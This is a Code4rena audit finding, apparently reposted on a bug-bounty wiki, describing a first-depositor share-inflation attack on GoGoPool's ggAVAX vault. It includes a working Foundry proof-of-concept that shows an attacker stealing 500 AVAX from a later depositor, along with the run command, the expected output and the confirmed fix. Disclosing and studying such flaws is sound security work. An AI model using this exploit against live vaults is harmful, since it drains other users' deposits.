Inflation of ggAVAX share price by first depositor
The ggAVAX vault's share price could be inflated by the first depositor, allowing them to steal funds from later depositors. An attacker could deposit a tiny amount, donate a large amount of WAVAX, and call syncRewards to manipulate the exchange rate, causing subsequent depositors to receive fewer shares and lose funds.
0xdeadbeef0x Follow with eierina, ak1 and 30 others
Originally disclosed on Code4rena
Submitted by 0xdeadbeef0x, also found by eierina, ak1, datapunk, 0xNazgul, Qeew, Breeje, SamGMK, IllIllI, TomJ, sces60107, WatchDogs, Arbor-Finance, SmartSek, hansfriese, tonisives, peanuts, unforgiven, 0xSmartContract, fs0c, ck, 0xbepresent, yongskiws, 0xLad, btk, rvierdiiev, koxuan, ladboy233, Rolezn, HE1M, yongskiws, SEVEN, and dic0de
Inflation of ggAVAX share price can be done by depositing as soon as the vault is created.
Impact:
- Early depositor will be able steal other depositors funds
- Exchange rate is inflated. As a result depositors are not able to deposit small funds.
Proof of Concept
If ggAVAX is not seeded as soon as it is created, a malicious depositor can deposit 1 WEI of AVAX to receive 1 share.
The depositor can donate WAVAX to the vault and call syncRewards. This will start inflating the price.
When the attacker front-runs the creation of the vault, the attacker:
- Calls
depositAVAXto receive 1 share - Transfers
WAVAXtoggAVAX - Calls
syncRewardsto inflate exchange rate
The issue exists because the exchange rate is calculated as the ratio between the totalSupply of shares and the totalAssets().
When the attacker transfers WAVAX and calls syncRewards(), the totalAssets() increases gradually and therefore the exchange rate also increases.
function convertToShares(uint256 assets) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
}
Its important to note that while it is true that cycle length is 14 days, in practice time between cycles can very between 0-14 days. This is because syncRewards validates that the next reward cycle is evenly divided by the length (14 days).
function syncRewards() public {
----------
// Ensure nextRewardsCycleEnd will be evenly divisible by `rewardsCycleLength`.
uint32 nextRewardsCycleEnd = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength;
---------
}
Therefore:
- The closer the call to
syncRewardsis to the next evenly divisible value ofrewardsCycleLength, the closer the nextrewardsCycleEndwill be. - The closer the delta between
syncRewardscalls is, the higher revenue the attacker will get.
Edge case example:
syncRewards is called with the timestamp 1672876799, syncRewards will be able to be called again 1 second later. (1672876799 + 14 days) / 14 days) * 14 days) = 1672876800
Additionally, the price inflation causes a revert for users who want to deposit less then the donation (WAVAX transfer) amount, due to precision rounding when depositing.
function depositAVAX() public payable returns (uint256 shares) {
------
if ((shares = previewDeposit(assets)) == 0) {
revert ZeroShares();
}
------
}
previewDeposit and convertToShares:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L133
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123
function convertToShares(uint256 assets) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
}
function previewDeposit(uint256 assets) public view virtual returns (uint256) {
return convertToShares(assets);
}
Foundry POC
The POC will demonstrate the below scenario:
- Bob front-runs the vault creation.
- Bob deposits 1 WEI of AVAX to the vault.
- Bob transfers 1000 WAVAX to the vault.
- Bob calls
syncRewardswhen block.timestamp =1672876799. - Bob waits 1 second.
- Bob calls
syncRewardsagain. Share price fully inflated. - Alice deposits 2000 AVAX to vault.
- Bob withdraws 1500 AVAX (steals 500 AVAX from Alice).
- Alice share earns her 1500 AVAX (although she deposited 2000).
Additionally, the POC will show that depositors trying to deposit less then the donation amount will revert.
Add the following test to TokenggAVAX.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108
function testShareInflation() public {
uint256 depositAmount = 1;
uint256 aliceDeposit = 2000 ether;
uint256 donationAmount = 1000 ether;
vm.deal(bob, donationAmount + depositAmount);
vm.deal(alice, aliceDeposit);
vm.warp(1672876799);
// create new ggAVAX
ggAVAXImpl = new TokenggAVAX();
ggAVAX = TokenggAVAX(deployProxy(address(ggAVAXImpl), address(guardian)));
ggAVAX.initialize(store, ERC20(address(wavax)));
// Bob deposits 1 WEI of AVAX
vm.prank(bob);
ggAVAX.depositAVAX{value: depositAmount}();
// Bob transfers 1000 AVAX to vault
vm.startPrank(bob);
wavax.deposit{value: donationAmount}();
wavax.transfer(address(ggAVAX), donationAmount);
vm.stopPrank();
// Bob Syncs rewards
ggAVAX.syncRewards();
// 1 second has passed
// This can range between 0-14 days. Every seconds, exchange rate rises
skip(1 seconds);
// Alice deposits 2000 AVAX
vm.prank(alice);
ggAVAX.depositAVAX{value: aliceDeposit}();
//Expectet revert when any depositor deposits less then 1000 AVAX
vm.expectRevert(bytes4(keccak256("ZeroShares()")));
ggAVAX.depositAVAX{value: 10 ether}();
// Bob withdraws maximum assests for his share
uint256 maxWithdrawAssets = ggAVAX.maxWithdraw(bob);
vm.prank(bob);
ggAVAX.withdrawAVAX(maxWithdrawAssets);
//Validate bob has withdrawn 1500 AVAX
assertEq(bob.balance, 1500 ether);
// Alice withdraws maximum assests for her share
maxWithdrawAssets = ggAVAX.maxWithdraw(alice);
ggAVAX.syncRewards(); // to update accounting
vm.prank(alice);
ggAVAX.withdrawAVAX(maxWithdrawAssets);
// Validate that Alice withdraw 1500 AVAX + 1 (~500 AVAX loss)
assertEq(alice.balance, 1500 ether + 1);
}
To run the POC, execute:
forge test -m testShareInflation -v
Expected output:
Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest
[PASS] testShareInflation() (gas: 3874399)
Test result: ok. 1 passed; 0 failed; finished in 8.71s
Tools Used
VS Code, Foundry
Recommended Mitigation Steps
When creating the vault add initial funds in order to make it harder to inflate the price. Best practice would add initial funds as part of the initialization of the contract (to prevent front-running).
emersoncloud (GoGoPool) confirmed
Alex the Entreprenerd (judge) commented:
The Warden has shown how, by performing a small deposit, followed by a transfer, shares can be rebased, causing a grief in the best case, and complete fund loss in the worst case for every subsequent depositor.
While the finding is fairly known, it’s impact should not be understated, and because of this I agree with High Severity.
I recommend watching this presentation by Riley Holterhus which shows possible mitigations for the attack: https://youtu.be/_pO2jDgL0XE?t=601
emersoncloud (GoGoPool) mitigated:
Initialize ggAVAX with a deposit: multisig-labs/gogopool#49
Status: Mitigation confirmed by RaymondFam and hansfriese.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The exchange rate is calculated as the ratio of total shares to total assets, and the first depositor can artificially inflate total assets by donating tokens and calling syncRewards, making subsequent deposits worth fewer shares.
What the attacker needed
Attacker can front-run vault creation; attacker has WAVAX to donate
The fix
The vault should be initialized with an initial deposit to make price inflation harder and prevent front-running.
How it was found
- Bob front-runs the vault creation.
- Bob deposits 1 WEI of AVAX to the vault.
- Bob transfers 1000 WAVAX to the vault.
- Bob calls syncRewards when block.timestamp = 1672876799.
- Bob waits 1 second.
- Bob calls syncRewards again. Share price fully inflated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you put money into a shared vault, you get shares representing your portion. If the first person to join can manipulate the share price by donating extra money, later depositors might get fewer shares for their deposit, and the attacker can withdraw more than they put in, stealing from others.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.